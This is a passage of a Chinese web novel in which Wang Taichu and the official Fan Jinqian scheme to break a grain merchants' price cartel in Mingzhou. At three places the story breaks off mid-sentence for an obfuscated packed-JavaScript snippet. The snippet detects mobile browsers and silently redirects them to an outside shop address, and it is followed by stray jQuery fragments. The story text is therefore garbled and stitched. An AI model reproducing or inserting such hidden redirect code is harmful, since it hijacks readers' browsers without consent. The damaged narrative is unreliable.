“眼下看来，范大人没那么做倒是对得很。”王太初在抛出观点之后一直没有言语，这才开口说道，“既然是人为，那官府放多少粮都是无济于事，反倒倾囊而出，没了后手。” 她歪着脑袋，像是已经琢磨出了一二。 “你可是有什么主意了？”王绍安最是了解自己这个妹妹，便开口问道。 “范大人可能调动银库？” 此话一出，在场之人无不愕然。 “银库启是说动就动的？”王绍安开口责备，“莫不是你想将那些粮食悉数买下，再低价卖给百姓吧？” “这是兄长你的菩萨行径，对于无赖自然要用无赖行径。” “太初姑娘且先说说，如若方法可行，范某愿意用官帽给姑娘作保。”范金谦早就没了先前对王太初的冷言冷语，反倒急迫问道。 “这世间本就没有长聚之盟，其聚为何，其散亦为何。”王太初看着范金谦急迫的样子，想到自己在范府的遭遇，反而卖起了关子。 “你是要用利益打破他们的联盟。”王绍安见王太初在要紧之时停了下来，催促道，“莫要卖关子，有何方法直说。” “将明州府的粮价抬高，让那些贪得无厌的粮商将粮食运进来，然后开仓放粮，关门打狗。” “还要更高？”范金谦的背后直冒冷汗。 “当然要更高，只有更高的利益才能驱动他们打破联盟。”王太初笃定地点点头。 “所以你问银库之事，是为了用更高价格去收那些粮商的粮？” “自然，此事只能由官府出面，一则，统一调度更有效率。二则，眼下只有官府有此能力，总不能组织百姓高价买粮吧。” “可正如我先前所说，开仓放粮只能缓解一时。”范金谦细想之后问道。 “故粮价务必高于此刻，且需高之甚多，方可引足够多的粮食到明州。” “放粮之后呢？”范金谦追问。 “切断水路，将这些粮食困在明州。”王太初见范金谦面露难色，继续说道，“范大人莫以此举非君子行为而犹疑，须知待小人者，当用小人之法。” “那如果他们结盟牢固，反倒在高价卖粮之后全身而退呢？”王绍安在旁问道，“如若他们没有大批量将粮运来明州，那我们就只能是赔了夫人又折兵了。” “凡事总有风险，此招唯一能保证我们胜利的关键便是人性的贪婪。”王太初摊手做了个无可奈何的表情，“如若真如哥哥所言，那我们也只能是赌输了，届时我们三人便只能是黄泉路上相见了。” “太初姑娘放心，如若真的赌输了，朝廷怪罪下来，此事也是由我一人承担。”范金谦像是已然笃定要行此险招。 “范大人何出此言，主意是我们三人所出，后果自然也需得我们三人承担。”王绍安慌忙解释道。 “也可以是你们二人。”王太初瞪大眼睛看着王绍安，一副为何将我拉下水的表情。 “你是跑不了了。”王绍安亲昵地指着她的鼻尖笑说道。 “也是，这般机巧的招数，想来也不是二位谦谦君子能琢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我定会思虑周全，有劳哥哥费心了。” 她的冷静让人出乎意料，王绍安本欲开口追问，却也听出其言辞间，已无再论此事之欲，便只能说起其他。 “那便如太初所言，我按计划带着全家后日启程回京。你留在此处，观后续是否有可助力之处。” “好。” 王家兄妹回到王宅之时，已是午膳过后。 在宅院门口还遇到了风尘仆仆从外头回来的赵盼儿。 “盼儿姐姐去做什么了？瞧你满头大汗的。” “后日不是要启程去万安吗？那些田地书塾之事需得跟旁人交代清楚才是。”赵盼儿抹了抹额头的汗珠，说道，“对了，来此是有一事要同太初说，家中尚有需要打包的行囊，今晚我需得回家中收拾，便不陪太初了。” 虽王绍安在侧，可赵盼儿言语间，眼神却是处处避开自己的这个未来夫君，只寻由头与王太初交谈。 说罢，也不等王太初回话，便一溜烟就朝自己家的方向跑了。 “盼儿姐姐好生奇怪，怎么今日风风火火的？”她转过身问身侧的王绍安。 “她不想与你我说起，定是有她自己的打算。”他盯着赵盼儿离开的方向，叹了口气说道，“我们还是先回宅子同母亲说清楚你要留下的打算吧。” 39. 第十章 明州破局（三） 二日之后，因要紧万安城内的授官仪式，王绍安便只能带着江音如和王绍文先行回了万安城。 原以为赵盼儿和王绍安久别重逢，定会跟着一同回去，可她却选择留下来陪王太初。 起初江音如也并不放心将她一人留在明州，可在得到范大人的承诺之后也便松了口。 用过早膳之后，明州府的官道上，范金谦携苏明远目送王绍安的车队离府而去。他深知前路自有锦绣前程在等着这个少年，他亦为大庆朝廷得此良吏而发自内心地欣喜。 “此事原和太初姑娘无关，太初姑娘能为范某献此良计范某已是万分感激，却不想姑娘还会留下来再助范某，范某先行谢过。”范金谦对眼前的少女早已没了成见，他心中了然，自己与王绍安囿于旧思、行事板滞，若当真失了王太初，这计谋怕是终究难达十全之效。 “我是念及明州城的百姓，我怕范大人过于呆板，不能让我如此良计发挥真正的效用。”虽眼下范金谦已是客气万分，可王太初在范府受的气确是还未尽消，她语气冷淡地说道。 “姑娘所言甚是。”范金谦哪里还顾得上王太初的态度，尴尬开口道，“范某此时确有一事，需得向姑娘请教。” “范大人请说。” “前日闻姑娘之言，我已将开银库之请拟成折子递了上去，可直至今日，此事仍滞于知府大人处，未得安排。”因为此事，范金谦也甚是着急，可偏偏他去寻知府大人，他都因身体不适将其拦在了府外。 “知府大人可有批折子，驳你之请？” “那倒没有。” “那便好办了。”王太初看了看周围之人，将范金谦拉到了远处，小声开口问道，“我只问范大人，若此事能成，此后升官晋爵的机会，范大人可想要？” “范某做事从来不是为了这等虚名。”虽他认为此事是因他筹措军粮而起，有将功赎罪之意。可即使没有此事，他范金谦也定然不会置明州城百姓的生死于不顾。 “那便好办了，若范大人能独担此事败责，不涉知府大人，且将此事功果，尽归其名。如此，我断言是无人会阻碍大人开银库的。” 王太初面上没有半分赧色。其所言皆是官场中最为人不齿的秘辛潜规，可她神态泰然，语气平宁，一副见怪不怪的样子。 “好。此番范某便放手一搏。若他日此计不成，明州粮价失序，朝廷降罪下来，我定当先送王姑娘离此危地。”范金谦抱拳道。 此刻他方明了，素日于女色无半分兴致的刘聿洵，缘何会倾心于王太初，甘为裙下之臣。 “那是自然，届时无需范大人相送，只要见事有不妥，你便是再想寻我也是寻不到的。” 待范金谦与王太初重返官道旁的人群中时，见赵盼儿正朝着车队远去的方向怔怔出神。 “盼儿姐姐既如此舍不得，何不此刻便随哥哥一同去万安？” 送走有公务在身的范金谦和苏明远，王太初凑近她的身侧打趣道。 “明州城内，我尚有事情还没打点清楚。” “哦？是何事值得你弃兄长于不顾？” “太初也知先父早逝有年，然黄册十年一修，其名至今仍在籍册之上。也正因如此，家中登记人丁未减，每岁输粮，仍需按全口之数缴纳。此番我留下来，正是要解决此事。” “所以那日你风尘仆仆便是去解决此事？” “正是，原想着既有里正作保，说的又都是实情，这事儿总该能顺利解决才是。”她叹气道，“却不想那些小吏只管籍册登记的数据，里正的保信是连瞧都未瞧。” “基层官吏原是离百姓最近之人，本当事事为他们分忧解难，可如今确是这般怠惰推诿、见事便躲、遇责就推，就应该好好治治他们。我这便去告诉范大人，让其来管教一番。” “万万不可！”见王太初转身就欲向范金谦离去的方向追，赵盼儿忙拉住她。 “姐姐莫要菩萨心肠，做错了事就得认罚，若事后你真觉得惩罚太重，届时你我再开口替他们求情就是了。” “太初，并非所有的事情都需靠官大一级来压着解决。咱百姓自有我们的解决之道。历史的长河中，我们也有过无数次的自救。”赵盼儿眼中满是坚定，“这次我就想看看没有那些权贵的帮助，仅凭我们这些百姓能否将这黑白扭转过来！” 此时，一袭清风抚过官道之侧的田畴，垄上新插的秧苗轻晃如碧毯翻波，点点嫩绿里，尽是待秋的希望。 明州城的粮市鏖战开始的还算顺利，范金谦虽未得知府的首肯，可开银库时也并未有人对他多加阻碍。 就这样，在官府大量高价收购粮食的推波助澜下，明州城的粮价从往日每石二百钱之数，一路疯涨至每石八百钱有余，直叫寻常百姓望仓兴叹。 明州府衙门前更无宁日，常有百姓怒掷烂泥、抛洒臭货，民愤可见一斑。 后来也不知他们从何处窥得内情，知道此计出自范金谦之手，怒火难压，索性寻至他私宅前，同府衙一般，也让那宅院沾了秽、没了体面。 “范大人这几日不必去衙门点卯吗？何以这个时辰会在自家府中？” 王太初这几日忙着在各处奔波，给那些家中没有丝毫存粮的贫户送粮。毕竟计谋是计谋，若要真饿死人那便是天大的过错了。 “听说是知府大人特许的，说是范大人这些日子劳累可在府中办公。”沉水跟着王太初匆匆从码头赶来，喘着粗气说道，“可依我看，知府大人是怕范大人呆在府衙，百姓的不满会全冲着官府撒，让范大人回自己私宅，反倒能替衙门分走一些怨气。” “范大人可还好？” 还未走近范府，王太初便闻到了一股腥臭味，那气味混杂着腐物的酸馊，让人不由蹙眉屏息。 范府的大门前，范金谦正仰着脖子擦拭着门旁的牌匾，身旁还有书生打扮的少年正蹲着擦拭地上的污物。 “我只知府衙门前如今满是污秽，没想到范府竟也一样。”王太初盯着仰头喘息的范金谦打趣道。 “他们也不知从何处得来的消息，说我与粮商勾结，故意推高粮价，中饱私囊，这不这些天门前全是这番光景。”范金谦也不着急停手，反倒自嘲了起来，“万幸城中尚有百姓念着我往日的一点情分，肯信我几分清白，愿意信我并非那般祸民之人，不然我真要觉得，这些年在明州的心血与奔波，全是付诸东流了。” “范大人可不要如此妄自菲薄，我听家父说了，往府衙扔的那些秽物中，连排泄之物都有，但投到您这儿的，全是些烂菜臭鱼，可见百姓对您终究是留着几分情面的。”说话的正是蹲在地上擦拭秽物的其中一个少年，也就是范金谦口中那些愿意信他清白的百姓。 “你小子，难道还要我上门感谢你父亲不成？”说到此处，范金谦更是气不打一处来，索性将手中抹布一扔，“也不知你们这些烂菜臭鱼是从哪找的，饭都吃不饱了，还有心思找这些。有这闲工夫何不让你父亲下地干活，多种些粮食蔬菜才是正道。” “谁让范大人也不辩解几句？百姓们都说了，只要范大人说不是，我们定会信你。可是那么多时日了，您偏一声不吭，大伙儿心里才渐渐没了底。” “既然如此，那小兄弟为何还要来此帮忙呢？”王太初瞧着说话之人一脸委屈，问道，“范大人也未曾在你面前辩解一句，你怎么就肯信他呢？” “自古便有徒弟不疑师傅，学生敬从老师的理。范大人不仅教我学问，还曾细细为我解读过《论语》，我......我......不用范大人开口，从他的眼睛里我就能看出来，此事和范大人无关。”少年字字皆带坚意，这便是他对心中信仰的执拗和笃定。 王太初看着范金谦红了眼眶，他或许可以坦然面对事败之后伏诛身亡、身败名裂的结果。可在重压之下仍然可以获得的信任，却是最让人温暖的。 “好了好了，你们也别擦了，反正擦干净了还是一样会被泼脏，都回家去吧。”范金谦转过脸挥挥手，示意他们离开，后又像是突然想到什么，复而转身道，“都先去府中将自己收拾干净了，厨房内还有些米粥，用了午膳再走。家中困难的找管家领些粟米去，记住了可要省着点吃，我府中余粮也不多了。” 说罢他头也不回地就迎着王太初进了府，他怕自己在呆在这份信任中，会招架不住说出真相。 这次再回到范府，王太初的待遇和上次相比有了很大的提升，最明显的便是府中女使奉上的香茗，茶汤澄澈透亮，茶香浓郁芬芳。 “如今肚中都没半点油水了，范大人倒是舍得将好茶拿出来了。”王太初将茶盏握在手中，轻嗅埋怨道。 “哈哈哈哈----太初姑娘何必如此记仇，因为这事你都数落本官几回了。”范金谦边命人打来干净的水洗手，边问道，“可是码头有什么好消息？” “蹲守市舶司数日，今日总算有越州的粮船离港了，怎么不算好消息呢？” “你说他们会不会已经识破了我们的计谋？离了港就不会再回来了？”范金谦的脸上仍有忧色。 “纵使识破了我们的计谋又如何呢？只要有粮船能换得金山银山而归。他们也知这是你我瓮中捉鳖的手段，但只要他们的心中仍有贪念，他们便永远不会觉得自己是瓮中的那只鳖，他们愿意赌的。”说到这里王太初轻笑道，“说不定他们还怕这瓮太小，容不下他们，非得争先恐后往里挤呢。” “我倒是觉得奇了怪了，太初姑娘年纪轻轻，何来这些见解？”待范金谦擦干手，便回到了主座坐定。 “幼时家侧有一间耍杂铺，店主手艺精巧，所制玩偶甚佳。彼时街巷孩童争相购买，因此玩偶价格渐高。我有一友，见此以为可以图利，便购入不少那家的玩偶意欲转售。他也知玩偶紧俏，店主必会多做，他日价格未必能如今日一般。可即使是知道，他的贪念还是没能阻止他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16482156|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高价囤买玩偶，最终导致尽亏其本。”王太初摇摇头，“这贪欲一起，是理智如何也拉不住的。” 此时站在范金谦面前的已经不是去岁在雍王府宅门前看到的娇俏少女了。 他佩服她的细心，也敬佩她的坦率，甚至他还有些怕她。她像是长了透视眼般，有洞见人心之能，你心底的贪欲、虚情和彷徨，似乎都在她的眼里。 他想到了自己撒下的谎，他纵然是为民请命的好官，此番为了粮价费尽心机，堵上自己的前程和身家，可他仍逃不开自己是这场闹剧开端之人的事实。 他怕她看透自己的心虚，有好几次都想着不如坦白算了。 “范大人，门外有人求见，门房报说是雍王殿下的副将。” 这些时日王太初忙于粮价之事，竟将李全胜忘了个干净。原以为他早已离开了明州回了万安，竟不想他还在此处。 “请李副将进来吧。”先前的畅快从范金谦的身上褪去，他沉下脸，语气也冷了下来。 此举更是让王太初笃定范金谦与刘聿洵之间定是有了嫌隙。如果先前他对自己的态度尚可以解释为自己是不足挂齿的小人物。可李全胜是雍王身旁的近卫，对他的态度便是对刘聿洵的态度。 “问范大人好，问太初姑娘好。”李全胜对在此地见到王太初并不感到意外。 “没想到李副将竟在明州，此次可有公务在身？” 李全胜赴明州公干，纵无刘聿洵与范金谦这层关系，亦当至府衙通禀。然今日范金谦竟不知其在城中，此事更让王太初觉着蹊跷。 “本是殿下的私事，所以未来府中烦扰范大人，还望范大人见谅。” “哦？那李副将此刻得闲来我府中拜访，是正事解决了？”抬手让身旁侍女为其看座。 “殿下交代的事情解决了。只是在下听闻王公子已携家眷回万安，太初姑娘却还留守在明州府，便想在此处等姑娘办妥了事情，护送姑娘回去。” “是你们家殿下的命令？”王太初仍旧捧着那盏茶问道。 “是。明州之事本不着急，只是殿下听闻姑娘已至明州，遂命我先来此地处置，也可保护姑娘周全。” “太初姑娘如今为朝廷做事，自有我明州府衙门保护，不劳雍王殿下费心。”看出范金谦气性不小，原本还只是冷嘲热讽，现在已是针锋相对。 “殿下有令，太初姑娘的安全需得在下亲自保护才行。”李全胜脸色冷峻，丝毫没有让步。 “怎么了？难道我整个明州府衙门还不及李副将一人得力？今日太初姑娘在我明州府境内，便由我明州府负责她的安全。”范金谦几乎是拍案而起，王太初虽早知范金谦直爽，却不料她连皇子的亲卫也敢冒犯。 “我有何值得二位大人保护的？明州府是我从小长大的地方，城中的街道水渠我定是比二位了解，我自己保护自己就是了。”眼看两人互不相让，王太初便没了先前看热闹的心情，连忙劝阻道。 “太初姑娘此言差矣。如若让那些粮商知晓此计是你我二人所设，定是不会放过你我的。” “这么说来这几天范大人安排了衙役保护我？我怎么都没发现？”王太初惊愕问道。 “如果姑娘未曾察觉，便只能说明我明州府衙的衙役隐藏得好。”范金谦沾沾自喜说道。 “那李副将呢？殿下命你亲自护卫，这些时日你也在我周身？” 李全胜临行之前，刘聿洵千叮咛万嘱咐，怕的都是赵普会一不做二不休直接在万安城外将王太初诛杀，因此他才日夜不休，跑死了几匹马前来保护。 “是的，是殿下的命令，这些时日我也在暗处保护姑娘。” “所以那日在码头与你偶遇之时，你本就是跟着我去的？”她的眼中闪过一丝骤然清明的光亮，勾起嘴角追问道，“所以李副将是趁着保护我的空闲，去的那香铺吗？” 李全胜眼下出现在范府与范金谦争锋相对自然有他的原因。本以为胜券在握，却没想急于求成反倒是暴露了自己。 他一时无语，只能在脑中寻找可信的说辞。 “李副将家中真有姐姐吗？” 看到李全胜的慌乱，她对心中的猜测更有了几分笃定，追问道。 “还有一事，我亦觉着奇怪。”王太初喝了口那已经凉透的茶，将茶盏放定，直勾勾地盯着李全胜的眼睛问道，“既然此前李副将都是暗中保护，缘何此时会现身在府中呢？” “李副将在言语上以雍王殿下对范大人步步逼迫，是想要范大人说出什么不可告人之事吗？” 李全胜吃惊，她竟比自己想象中厉害，不过寥寥数语，几个不起眼的细节，就几乎将此前自己所有的努力，都碾得化为乌有。 而幸好她的聪慧心细也是他计划的一部分。 他看向已在主位上按捺不住站起身来的范金谦，开口问道。 “那范大人有何不可告人的秘密呢？” 40. 第十章 明州破局（四） 越州府临江县望越渡码头，此时粮商们汇聚在码头边临时搭建的帐篷里，等着明州府粮价失控之后回来的第一艘粮船。 此前仗着越州府是产粮大府，他们通过粮价结盟的方式在明州府已是赚得盆满钵满，但像如今这般令人咋舌的粮价却也实属难见。 帐篷内早已是酒过三巡，越州府的歌姬们拢着半旧的罗衫，指尖轻捻丝弦，咿咿呀呀地唱着小调。粮商们三三两两地凑在一处，划拳喝酒，甚是快活。 而今日这个局的主人昌隆粮行的东家李余丰在被众人罐了几杯黄汤之后，正悠闲地晃着脑袋跟着歌姬们哼着小曲。 “李老板好福气，如若按先前抓阄的顺序今日回港的应是你家的粮船，老哥先在此处恭喜了。”说话的是陈裕昌，裕昌粮行的东家，前些日子他的粮船偏赶在明州城粮价疯涨之前回了越州泊了岸，正巧错过了这波能赚得盆满钵满的行情。 “哈哈哈，谢过陈老板了。”李余丰大笑着揽过陈裕昌的肩头说道，“都只是小弟的运气好罢了。” 越州府是产粮大府，本就有组织完善的粮行公所，为了防止公所内的粮商恶意竞争，导致粮食价格低廉，每年农历正月十五他们都会通过抓阄的方式一艘粮船一个号排序，而此排序便是未来一年他们治下的粮船在各个州府的出粮顺序，谁也不能对此提出异议。 所以即使陈裕昌此时再因为痛失这个机会而懊恼，却也只能将这苦水吞到肚中，怪自己时运不济。 “好运气也是财不是吗？听闻李老板每年三十都会夜宿在镜湖禅寺为的就是能在初一那日抢到头香，看来没有白费功夫，佛祖菩萨都是帮着李老板的。” “阿弥陀佛，阿弥陀佛，拜佛祖菩萨怎么能论功夫不功夫的呢？老弟今日的一切尽是佛祖菩萨所赐，供奉佛祖菩萨应是理所当然，理所应当罢了。”李余丰做了一个噤声的手势，双手合十于胸前，示意陈裕昌不可胡说。 “是老哥胡说八道了，该罚一杯，该罚一杯。”陈裕昌讪笑着将酒盏中酒一饮而尽，赔不是道。 李余丰性鄙善欺、品劣行恶，却偏嗜焚香叩佛，向佛陀求安。要不是陈裕昌对此人行径多有了解，说不定真能被眼前虔诚模样给骗了去。 “陈老板言重了，佛祖慈怀广纳，不会将无心的错话挂在心上。” 陈余丰今日是真正的高兴，不日之前，明州府粮价失控的消息传到他的耳中时，他尚还怀疑此是阴谋，担忧了几日都未能好眠。 可今日自家的粮食已是兑成了金山银山而归，眼看着就要在望越渡驳岸了，这怎能不让人高兴呢？ 他环顾了一圈，看着帐篷内推杯问盏的粮商，知道今日此地所有的人都在羡慕自己。如此乱市的粮价，不知能维持几日？再后来者，是否也能得此厚利？这些都是未知之事，可此时他却将这厚利死死握在了手中。 “李老板说的是。我瞧着李老板现在也是求神问佛多了，身上倒也是沾上了慈悲宽厚之气。”陈裕昌笑说道。 “哈哈哈，如若陈老板对此有兴致，改日你我可相邀去寺中听师傅授课，我保证也定能让陈老板受益匪浅。” “那是一定，那是一定。”陈裕昌陪着笑脸说道。 “不过今日怎还未见章行首？我还想着去跟行首敬杯酒呢。”李余丰伸脖望了望四周，说道，“此前粮价结盟若没有章行首的首肯，我也定然不会误打误撞赚到这笔银子。” “李老板还是不要找了，章行首本就不同意我们结盟抬高粮价，定是不会在此等场合出现。”陈裕昌环顾了一番四周，摇头说道，“我听说前几日，章行首还特意去了趟明州府负荆请罪，哪里还有兴致来赴你的宴。” “这陈老板怕是就不懂了，别看你年长我几岁，却还没我看着通透，来来来，让老弟跟你说道说道。”李余丰此时已是酒意上涌，他借着力气将陈裕昌拉到近处，贴上他的耳朵小声呢喃道，“陈老板可知章行首手中有多少粮船？” “这整个越州府的粮行谁人不知，107艘，每年十五抽签之时，这数字都是明面上摆着的。” “陈老板说得好，这明面上摆着的是107艘，没在明面上的呢？”李余丰狡黠笑问道。 “这我哪里知道。”章长兴在越州粮行素来位高权重，鲜少会听到他人对他的妄议。要不是今日这烈酒壮了李余丰的胆，他怕是也听不到这些酒后吐露出来的真言。 “怕是三倍都不止呢！” “李老板怕是吃醉酒了吧。朝廷对各粮行所拥粮船之数皆有管控，107艘已是上限。你若说多十余艘，我还尚且信之，可三倍之数，我实在是不信。”陈裕昌哈哈一笑，觉得李余丰所言夸张，便也只当是笑话听过，转圜说道，“再说了，多出来的200多艘都得有地方停靠不是，这码头上也没瞧见，难道还能凭空消失不成。” “陈老板可是不信我？难道这船就一定要用章行首的名字停靠在码头？就不能用其他人的名字？”见陈裕昌不信，李余丰也顾不得周遭之人，提高了音量问道。 “李老弟，你可要慎言啊，没有证据可不能信口开河啊。”见到周遭之人纷纷向这边投来目光，陈裕昌忙将李余丰的嘴巴捂住，小声提醒道。 “谁说我没有证据？章行首有几艘粮船就......”也不知是不是因为突然吹来的江风将酒意吹散了几分，李余丰像是突然清醒过来，硬生生将这几乎脱口而出的话咽回了肚中。 可即使如此，想隐藏也已是来不及了。但凡不是个蠢笨之人，有那几句话也已能将章长兴借由他人名义持有船只的事实摸了个清楚。也知晓了这其中借出名字之人也有李余丰。 这艘由章长兴执舵的船上自然也有其他利益的交换，只是他陈裕昌此时还不在那艘船上罢了。 “我就说是李老弟你胡说，这下玩笑编不下去了吧。”陈裕昌纵声大笑，佯作不信之态。 他是个老道的商人，今日闻此秘密，他不在乎章长兴是否因为粮船过众而触法，他只关心自己是否能够借着李余丰之力也登上章长兴的那艘船。 “你瞧老弟我，你瞧老弟我，不胜酒力却偏好酒，酒后便尽是荒唐话，陈老兄莫怪，陈老兄莫怪。”李余丰向陈裕昌投去一个感恩的目光，忙将话题又重新引到镜湖禅寺上，笑说道，“镜湖禅寺的净尘方丈早便算出我会因喝酒误事，时常劝我戒酒。此番幸得佛祖点化未出口胡言酿得大错，改日我需得去寺中还愿才行。方才陈老兄也说对此有兴趣，他日我邀你同行。” “那就谢过李老弟了，我早便听家母说起过寺中斋菜清爽，一直未得机会前往。” “唉，这斋菜也就是寻常斋菜，只不过平日吃多了油腻荤腥，吃些素净的菜觉得新奇罢了。”说到此处李余丰也不再将方才险些酿成的祸事放在心上，摇头说道，“让我吃一顿尚可，多吃几顿便觉得还是这些个山珍海味才是真的和我胃口。” “也是也是。”陈裕昌陪着笑说道。 “今日都如此得闲，聚在这码头上做什么？”清亮的问话声先破了帐篷内的喧嚣，随即帘布一动，章长兴缓步走了进来。 他眉眼温和，可那站姿往那一站，便让周遭都安静了几分。 陈裕昌听到身旁的李余丰倒吸了一口冷气，这前一刻还在背地里说人长短，下一刻正主竟立在了跟前，换作谁也要慌得手足无措。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16509463|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “章行首，是我们听说明州府粮价暴涨之后的第一艘粮船今日回港，顾等在此处，想要热闹庆贺一番。”说话的是副行首金三安，章长兴的亲信。一般章长兴不愿出席的场合，都由他代为出席。 比如今日这般场合，在陈裕昌知道寄舟匿产的弯弯绕绕之前，他觉着本就不同意搞价格联盟抬高粮价的章长兴是不会愿意为粮价的疯狂而庆祝的。可当他知道这背后的事实以后，便觉着能在此地看到章长兴也是理所当然。 一则，如果他是真的不赞同，那些借名给其寄船的粮商定也会投反对票，然那日计票，除了章长兴之外，几乎全票都是赞成。也正因为如此，章行首才勉为其难同意了此事。二来，如若真如李余丰所言，章长兴实际持有的粮船有三倍之众，那么此番粮价结盟他之所入是何等的夸张。可见他也并非像他所言那般，反对越州府的粮价结盟行动。 “这粮价腾贵乃生民之患，我等岂可为此举称贺？”章长兴无奈摇头，“这是谁出的主意？” 此时众人纷纷将目光投到了尚在惊愕中的李余丰身上。 “我就知道这样的馊主意定是出自你小子。”章长兴招招手示意他过去，语气中倒是也听不出几分生气。 “嘿嘿嘿，小的也是高兴过了头，不像章行首这般还为百姓考虑，只想着赚钱的事了。”此刻李余丰已是完全清醒了过来，他点头哈腰地朝着章长兴跑去。 “就你小子最是招摇，怎么了今日按签号轮着的是你家的船了？值得你如此大张旗鼓？” “按顺序今日到港的确实是小人的粮船。不过这全是托章行首的福，正月十五那日要不是章行首给小人多赏了几盏茶水，抽签之时小人正好去了茅房，也赶不上这么好的序号。”李余丰躬着腰脸上笑盈盈的答道。 “你小子！”章长兴宠溺地看着他摇头道，“如今也是有粮行粮船的东家，哪里还合适自称小人？这样如何能出去谈买卖？” “在行首面前，我可不是小人吗？再说了，有行首为我们撑腰，我们哪里害怕能少了买卖？” “就是就是，有行首在，我们越州府的粮行哪里还能缺了买卖？”众人也是接着李余丰的话茬纷纷附和道。 章长兴素来不是什么喜欢阿谀奉承之人，可今日众人的甜言蜜语，他却很是受用，想来定是心情不错。 “你们哪里还需要我？我都说了丰年咬着高价不松口对民生无益，可你们也不听我的啊。”章长兴长叹口气抱怨道，“李知府已是召我去府衙训诫了好几回，这罪名可全是老夫替你们担着。” 陈裕昌站在人群的外围，在不知道章长兴寄船他处之前，对章长兴这情真意切的说辞他尚且还能听上几分。可如今知道了这其中的猫腻，这惺惺作态之举却着实让其反胃。 一瞬间，他也没了原本想要巴结的心思，趁着旁人还围在章长兴身旁说好话之时，便悄悄从帐篷没有扎结实的一角，退到了棚外。 为了能在第一时间便看到归来的粮船，今日的帐篷就扎在瞭望台旁视野最开阔的平地上。 温暖的江风抚过面颊，江边停泊在岸的船只随着江水起伏，渔火星星点点，像是盛夏的萤火一般。 棚内不知是何人又说了几句笑言，章长兴刺耳的笑声顺着缝隙传到了陈裕昌的耳中。 他皱了皱眉，俯身朝着脚边啐了口浓痰。朝远处巨大的天幕望去。忽见黑水尽头，巨船破夜而来，桅杆如林，这并不是昌隆粮行粮船的规制。 他眯了眯眼睛，想让自己看得更真切一些，果然船首悬着两盏巨制灯笼，灯影若满月坠江，光映波心数十丈，灯面上“隆茂”二字赫然入目，那是章家的粮船。 41. 第十章 明州破局（五） 昨夜入夜之后，范金谦府中收到一纸拜帖，乃其越州府远亲所遣，邀其今夜于醉星楼一叙。 此事本非要紧，这远亲虽平日往来疏淡，然每逢年节必有拜帖问候，也算有些交情。 若非范金谦时刻将王太初“凡涉越州府之事，皆需留心”的叮嘱记在心上，今夜这鸿门宴，怕是真要糊里糊涂地陷进去了。 醉星楼的雅间内，除了范金谦的远房表弟陶其然之外，另有两位身着华服的男子，年少者身形单薄，年长者体态雍容，二人衣料上暗绣的元宝纹样、腰间悬挂的玛瑙算珠，皆显露出商人身份。 范金谦看了一眼案桌旁毕恭毕敬等着自己的几人，偷偷朝跟在自己身侧打扮成使女模样的王太初递了一个眼色，轻声说道：“果然我们猜的不错，是鸿门宴。” 赴约之前，在范府的书房内，王太初将近日来自己在明州城内布下的桩桩件件，从头至尾细细同范金谦交代了一番。 “表兄可真是日理万机，去岁金县令来明州府公干，特意登门拜访都未能得见。今日表兄肯抽时间见我，小弟实在是受宠若惊。”来人表现出超乎寻常的熟稔，见范金谦进屋，一个箭步便跨了上来，亲热地握住了他的双手，将其拉到桌案边。 “表弟相邀，再忙也要抽出时间不是？”虽对来人突然之间的热络还不适应，可和王太初相处久了，范金谦还是学到了一些无赖本事，比如此刻陪着一起演戏便是其中之一。 他任由陶其然将其拉到主位上落座，佯装好奇问道：“此两位是何人？表弟也不先介绍一番？” “瞧我糊涂，瞧我糊涂，差点忘了介绍了。”陶其然陪笑着说道，“此两位是越州府临江县裕昌粮行的陈老板陈裕昌和昌隆粮行的李老板李余丰，都是我在越州府的知己。此番正巧在明州府相遇，便也就自作主张请到了这里，表兄不会介怀吧。” “陈裕昌、李余丰，见过范大人。”陈裕昌、李余丰见范金谦提及自身，忙整理了下衣摆，拱手躬身行礼。 “哦？原来二位是越州府粮行的东家啊。”虽对二人身份早有预判，也被王太初提前嘱咐过，可想到明州府百姓近月来受的苦难，向来嫉恶如仇的范金谦一时也未能压下心中怒火，话语间带了几分忍不住的责难。 “陶表弟，范大人素来不喜欢竹叶青，独爱那醇厚绵长的花雕，还是让酒楼换种酒吧。”眼见情势不对，王太初忙插科打诨说起了其他。 “是是是，表哥向来偏爱花雕，小弟怎么就给忘了，我这就让店家换酒。”说着陶其然便要起身去唤店家换酒，却被李余丰拦住。 “我去唤店家换酒就是，陶兄跟范大人难得一见，应是有不少家常要叙。” “那就有劳李老板了。”此时范金谦已是回过了神来，收起了方才的锋芒，语气缓和说道。 “不劳累不劳累，范大人同陶兄先聊着，小人去去就回。”言罢，李余丰就推门出了雅间。 “听闻表兄这几日赋闲在家中，并未去府衙点卯，家中门口也时常有乱民投掷一些污秽之物，可是遇到了什么要紧之事？可有表弟可以帮忙的地方？”桌案上只有竹叶青，陶其然便只能先为范金谦倒满茶水奉上。 